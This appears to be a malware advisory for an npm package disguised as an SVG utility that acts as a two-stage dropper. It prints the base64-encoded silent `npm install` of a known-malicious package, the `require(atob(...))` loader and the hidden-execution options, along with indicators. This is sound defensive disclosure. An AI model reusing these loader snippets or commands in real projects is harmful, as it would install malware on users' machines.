GCVE-110-OSM-2026-9051

This package implements a dropper/loader pattern disguised as an SVG utility. The base64 string `bnBtIGluc3RhbGwgcm9sbHVwLXBsdWdpbi1wb2x5ZmlsbC1oZWxwZXIgLS1uby1zYXZlIC0tc2lsZW50IC0tbm8tYXVkaXQgLS1uby1mdW5k` decodes to `npm install rollup-plugin-polyfill-helper --no-save --silent --no-audit --no-fund`, which silently installs the publisher's other package — already confirmed malicious (OSM threat b04276cb-6c51-4ebb-9d73-0765a59abe21). After installation, `checkPlugin()` loads and executes that package via `require(atob(svgValidatePattern))` where `svgValidatePattern` decodes to `rollup-plugin-polyfill-helper`, calling its exported `getPlugin()` function. The execution is deliberately hidden using `stdio: 'ignore'` and `windowsHide: true`. The publisher `businesswork1734` has a 100% malicious package ratio (1/1 prior packages flagged), confirming this is a serial malware publisher using a two-stage loader strategy. ENTRY index.js (main: index.js) EXFIL - System Information Collection in index.js: "process.platform" OBFUSCATION - Dynamic Base64 Decoding in index.js: "atob(svgValidateKey)" - Base64 Encoded Payload in index.js: ""bnBtIGluc3RhbGwgcm9sbHVwLXBsdWdpbi1wb2x5ZmlsbC1oZWxwZXIgLS1uby1zYXZlIC0tc2lsZW5..." - Decoded Base64 Content in index.js (x2) - Decoded Base64 Content in [deobfuscated] index.js (x2) - Strings Extracted from Deobfuscated Code in index.js ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Silent Process Execution in index.js: "stdio: 'ignore'" - Publisher Has Other Malicious Packages PAYLOAD FILES index.js INDICATORS (IOCs) - payloadFileHash: 2dc970bf1107403d1d71d42a81aade70804340e72321911692a55818d0c2f871